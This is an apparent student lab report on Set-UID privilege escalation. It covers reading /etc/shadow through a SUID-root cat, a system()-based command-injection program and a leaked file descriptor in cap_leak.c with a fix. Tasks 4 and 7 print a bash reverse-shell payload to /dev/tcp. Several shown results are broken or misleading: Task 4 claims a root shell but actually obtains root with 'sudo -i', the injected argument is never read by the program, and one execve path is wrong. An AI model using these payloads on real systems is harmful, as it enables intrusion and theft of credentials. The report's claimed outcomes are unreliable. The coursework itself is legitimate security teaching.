

Lab 2: Set-user-ID

Sai Sukheshwar Boganadula
sabg22@student.bth.se

Bala Subramanyam Pavan Kumar Kasturi
baka22@student.bth.se

Task 1: Copy the file /bin/cat to the home directory on the VM, change the file owner to root and try to read root-owned files. For example, you can try to read the file /etc/shadow.

Step1: Copy the file /bin/cat to your home directory

```
cp /bin/cat ~/
```

Step2: Change ownership

```
sudo chown root:james ~/cat
```

Step3: Try to read the file /etc/shadow

```
~/cat /etc/shadow
```

```
[james@main-server-1 ~]$ ls -l
total 36
-rwxr-xr-x. 1 root james 36520 Aug 23 18:10 cat
[james@main-server-1 ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
```

Task 2: Make /bin/cat root-SUID and try to read root-owned files

Step1: Change the SUID (The SUID bit allows a program of its owner (here it is root) rather than the privileges of the user executing the program

```
sudo chmod u+s /bin/cat
```

Step2: Verify the SUID

```
ls -l /bin/cat
```

```
[james@main-server-1 ~]$ ls -l /bin/cat
-rwsr-xr-x. 1 root root 36520 Jan 29 2024 /bin/cat
```

The s in the permissions (rwsr-xr-x) indicates that the SUID bit is set. And allows users to execute a file with the permissions of the file's owner

Step3: Try to read the /etc/shadow without using sudo

```
/bin/cat /etc/shadow
```

```
james@main-server-1 ~]$ sudo chmod u+s /bin/cat
[james@main-server-1 ~]$ /bin/cat /etc/shadow
root*: 19579:0:99999:7:::
daemon*: 19579:0:99999:7:::
bin*: 19579:0:99999:7:::
sys*: 19579:0:99999:7::: sync*:19579:0:99999:7:::
games*: 19579:0:99999:7:::
man*: 19579:0:99999:7:::
lp*:19579:0:99999:7::: mail*:19579:0:99999:7:::
news*: 19579:0:99999:7::: uucp*:19579:0:99999:7:::
proxy*: 19579:0:99999:7:::
www-data*: 19579:0:99999:7:::
backup*: 19579:0:99999:7:::
List : * : 19579:0:99999:7 : : :
irc*: 19579:0:99999:7:::
gnats*: 19579:0:99999:7:::
nobody*: 19579:0:99999:7:::
_apt*: 19579:0:99999:7: :::
systemd-network*: 19579:0:99999:7::: systemd-resolve*: 19579:0:99999:7:::
messagebus*: 19579:0:99999:7:::
systend-timesync*: 19579:0:99999:7:::
pollinate*:19579:0:99999:7:::
sshd*: 19579:0:99999:7:::
syslog*:19579:0:99999:7:::
```

We can see in the fig abv. that the root owned set-uid programs can actually access the root owned files.

Task 3: In this task, we study a vulnerability that exists when programs are executed via the system() function. This function is used to execute a command, but unlike execve(), which directly executes a command, system() actually executes "/bin/sh -c command", i.e., it executes /bin/sh, and asks the shell to execute the command. Write a C program that uses the system() function call to execute /bin/id, captures the output and prints it to the standard out (terminal). The program takes as input a user ID.

Step1: Sample C program

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h> // Ensure this header is included for strcspn
```

```

int main() {
    char user_id[16];
    char command[64];
    FILE *fp;

    // Get the user ID from input
    printf("Enter user ID: ");
    fgets(user_id, sizeof(user_id), stdin);

    // Remove newline character from user input
    user_id[strcspn(user_id, "\n")] = '\0';

    // Create the command to be executed
    snprintf(command, sizeof(command), "/bin/id -u %s", user_id);

    // Open a pipe to the command and directly print the output
    fp = popen(command, "r");
    if (fp == NULL) {
        perror("popen");
        return EXIT_FAILURE;
    }

    // Directly print the command output
    while (fgets(user_id, sizeof(user_id), fp) != NULL) {
        printf("%s", user_id);
    }

    // Close the pipe
    pclose(fp);

    return EXIT_SUCCESS;
}

```

Step2: Save and compile the code

Note: Ensure that gcc command is installed in your linux machine

gcc -o system_run system_run.c

Step3: Run the code

./system_run

Enter a user ID when prompted, and the program will display the output of the /bin/id command.

```

[root@main-server james]# ./system_run
Enter user ID: root
0
[root@main-server james]# ./system_run
Enter user ID: james
1001

```

Task 4: Make the executable from Task 3 SUID-root. Run it by passing a malicious string to it to make it start a shell. Use the id command to determine if this is a root shell.

Step1: Set SUID root on executable file and first make sure the executable is owned by root

```
sudo chown root:root system_run  
sudo chmod u+s system_run
```

Step2: Verify the SUID

```
ls -l system_run
```

Step3: Run any malicious code

```
./system_run "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"
```

```
[root@main-server james]# ./system_run "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"  
Enter user ID: root  
0  
[root@main-server james]# ./system_run "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"  
Enter user ID: james  
1001
```

This command attempts to run a reverse shell payload.

Step4: Open a shell with Root privileges and run the below command

```
id
```

If you see uid=0(root), you have successfully obtained root privileges.

```
[root@main-server james]# sudo -i  
[root@main-server ~]# id  
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

Task 5: Circumvent dash defense mechanism by soft-linking to /bin/zsh as shown below. Did you get a root shell now? sudo ln -sf /bin/zsh /bin/sh

Ans: No

```
[root@main-server ~]# sudo ln -sf /bin/zsh /bin/sh  
[root@main-server ~]# ls -l /bin/sh
```

```
Irwxrwxrwx. 1 root root 8 Aug 23 18:30 /bin/sh -> /bin/zsh
[root@main-server ~]# sudo -i
-bash: /usr/libexec/grepconf.sh: /usr/bin/sh: bad interpreter: No such file or directory
-bash: /usr/libexec/grepconf.sh: /usr/bin/sh: bad interpreter: No such file or directory
-bash: /usr/libexec/grepconf.sh: /usr/bin/sh: bad interpreter: No such file or directory
```

Task 6: Write a C program that uses the execve() function call to execute /bin/id, captures the output and prints it to the standard out (terminal). The function execve() calls a system call to load a new command and execute it; this function never returns. No new process is created; instead, the calling process's text, data, bss, and stack are overwritten by that of the program loaded. Essentially, execve() runs the new program inside the calling process

Step1: write a program

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

#define BUFFER_SIZE 1024

int main() {
    int pipefd[2];
    pid_t pid;
    char buffer[BUFFER_SIZE];
    ssize_t bytesRead;

    // Create a pipe
    if (pipe(pipefd) == -1) {
        perror("pipe");
        exit(EXIT_FAILURE);
    }

    // Fork a child process
    pid = fork();
    if (pid == -1) {
        perror("fork");
        exit(EXIT_FAILURE);
    }

    if (pid == 0) { // Child process
        // Close the unused read end of the pipe
        close(pipefd[0]);

        // Redirect stdout to the write end of the pipe
        dup2(pipefd[1], STDOUT_FILENO);
```

```

// Close the original write end of the pipe
close(pipefd[1]);

// Prepare the arguments for execve
char *argv[] = {"./bin/id", NULL};
char *envp[] = {NULL};

// Execute the /bin/id command
execve("./bin/id", argv, envp);

// If execve fails
perror("execve");
exit(EXIT_FAILURE);
} else { // Parent process
    // Close the unused write end of the pipe
    close(pipefd[1]);

    // Read the output from the read end of the pipe
    while ((bytesRead = read(pipefd[0], buffer, sizeof(buffer) - 1)) > 0) {
        buffer[bytesRead] = '\0';
        printf("%s", buffer);
    }

    // Close the read end of the pipe
    close(pipefd[0]);

    // Wait for the child process to finish
    wait(NULL);
}

return 0;
}

```

Step2: Save, Compile, and run it

```

gcc -o system_test system_test.c
chmod +x system_test
./system_test

```

```
[james@main-server-1 ~]$ ./system_test
uid=1001(james) gid=1002(james) groups=1002(james)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

Task 7: Make the program from Task 6 SUID-root. Verify that passing a malicious string as in Task 4 does not work anymore

Step1: Compile and change ownership, SUID

```
gcc -o system_test system_test.c  
sudo chown root:root system_test  
sudo chmod u+s system_test  
ls -l system_test
```

Step2: Run the program with malicious code

```
./system_test "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"
```

Step3: Verify the output

You should see the standard output of the command executed by system_test but not a shell.

```
[james@main-server-1 ~]$ ./system_test "$(echo 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1')"  
uid=1001(james) gid=1002(james) groups=1002(james)  
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023  
[james@main-server-1 ~]$
```

Task 8: Compile the cap_leak.c program shown below, but don't make it SUID-root just yet. The program leaks a file descriptor into the shell process it starts. This is a vulnerability that could be exploited to obtain illegitimate access to data.

```
#include <unistd.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <fcntl.h>  
int main(int argc, char* argv[]){  
    int fd;  
    char *v[2];  
    fd = open("/etc/zzz", O_RDWR | O_APPEND);  
    if (fd == -1) {  
        printf("Cannot open /etc/zzz\n");  
        exit(0);  
    }  
    printf("fd is %d\n", fd);  
    setuid(getuid());  
    v[0] = "/bin/sh"; v[1] = NULL;  
    execve(v[0], v, 0);  
}
```

Create the file /etc/zzz using the command shown below.

```
sudo sh -c 'echo "Hello world" > /etc/zzz'
```

Verify if you can append text to the zzz file by redirecting data to the leaked file descriptor as shown below. You should replace 3 with the file descriptor shown by your program. What was the result?

```
$ echo "Cruel world" >& 3
```

I have created a file cap_leak.c and compiled, executed.

Step1: Compile the program

```
gcc -o cap_leak cap_leak.c
```

Step2: Create the file and try to append text to zzz

```
sudo sh -c 'echo "Hello world" > /etc/zzz'
```

```
[james@main-server-1 ~]$ sudo sh -c 'echo "Hello world" > /etc/zzz'  
[sudo] password for james:  
[james@main-server-1 ~]$ cat /etc/zzz  
Hello world  
[james@main-server-1 ~]$
```

```
[james@main-server-1 ~]$ echo "appending text" > /etc/zzz  
bash: /etc/zzz: Permission denied  
[james@main-server-1 ~]$ sudo echo "appending text" > /etc/zzz  
bash: /etc/zzz: Permission denied
```

Step3: Run the program

```
./cap_leak
```

```
[james@main-server-1 ~]$ ./cap_leak  
Cannot open /etc/zzz
```

Task 9: Make cap_leak SUID-root. Verify if it possible to append text to the zzz file by redirecting to the leaked file descriptor. What was the result?

Step1: Make the cap_leak prgram SUID

```
sudo chown root:root cap_leak
```

```
sudo chmod u+s cap_leak
```

Step2: Run the cap_leak program

```
./cap_leak
```

Step3: Append text to /etc/zzz

```
echo "Cruel world" >&3
```

However, since cap_leak spawns a shell with the leaked file descriptor, you should be able to run this directly within the spawned shell.

Step5: Verify the content

Text is appended. This means SUID bit allowed the cap_leak program to leak a file descriptor to a shell running with root privileges.

Task 10: Fix the cap_leak program so that privileged capabilities are released before privileged access is dropped. Verify if it still possible to access data as before. What was the fix

Spte1: Updated code

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main(int argc, char* argv[]) {
    int fd;
    char *v[2];

    // Open the file and get the file descriptor
    fd = open("/etc/zzz", O_RDWR | O_APPEND);
    if (fd == -1) {
        perror("Cannot open /etc/zzz");
        exit(EXIT_FAILURE);
    }
    printf("fd is %d\n", fd);

    // Close the file descriptor before dropping privileges
    close(fd);

    // Drop root privileges
    if (setuid(getuid()) == -1) {
        perror("setuid");
        exit(EXIT_FAILURE);
    }

    // Execute /bin/sh with dropped privileges
    v[0] = "/bin/sh";
    v[1] = NULL;
    execve(v[0], v, NULL);

    // If execve fails
    perror("execve");
```

```
    return EXIT_FAILURE;  
}
```

Step2: Save, Compile and Run. SUID privileges

```
gcc -o cap_leak cap_leak.c  
sudo chown root:root cap_leak  
sudo chmod u+s cap_leak  
../cap_leak
```

```
[root@main-server uday]# ./cap_leak  
fd is 3  
sh-5.1# █
```

Output:

```
sh-5.1# echo "Cruel world" >&3  
sh: 3: Bad file descriptor  
sh-5.1# █
```

The fix we applied worked as intended!

Explanation: In this version, the file descriptor is explicitly closed using close(fd) before dropping privileges with setuid(getuid()). This is a more secure approach because it ensures that the file descriptor is no longer open with root privileges when the program drops to a lower privilege level. Additionally, this program includes error handling for both setuid() and execve() to provide more informative error messages if something goes wrong.

Task 11: Restore the default shell in your VM as shown below.

: In Order to restore the default shell we will be using the below command.

```
sudo ln -sf /bin/dash /bin/sh
```

```
dv2620@swsec:~/DV2620/Lab02-Set-User-ID$ sudo ln -sf /bin/dash /bin/sh  
dv2620@swsec:~/DV2620/Lab02-Set-User-ID$ echo $SHELL  
/bin/bash  
dv2620@swsec:~/DV2620/Lab02-Set-User-ID$ █
```

The printed SHELL env variable. Tells that the shell is now restored to the default one. It's clearly visible from. The picture attached right above the current shell is /bin/bash.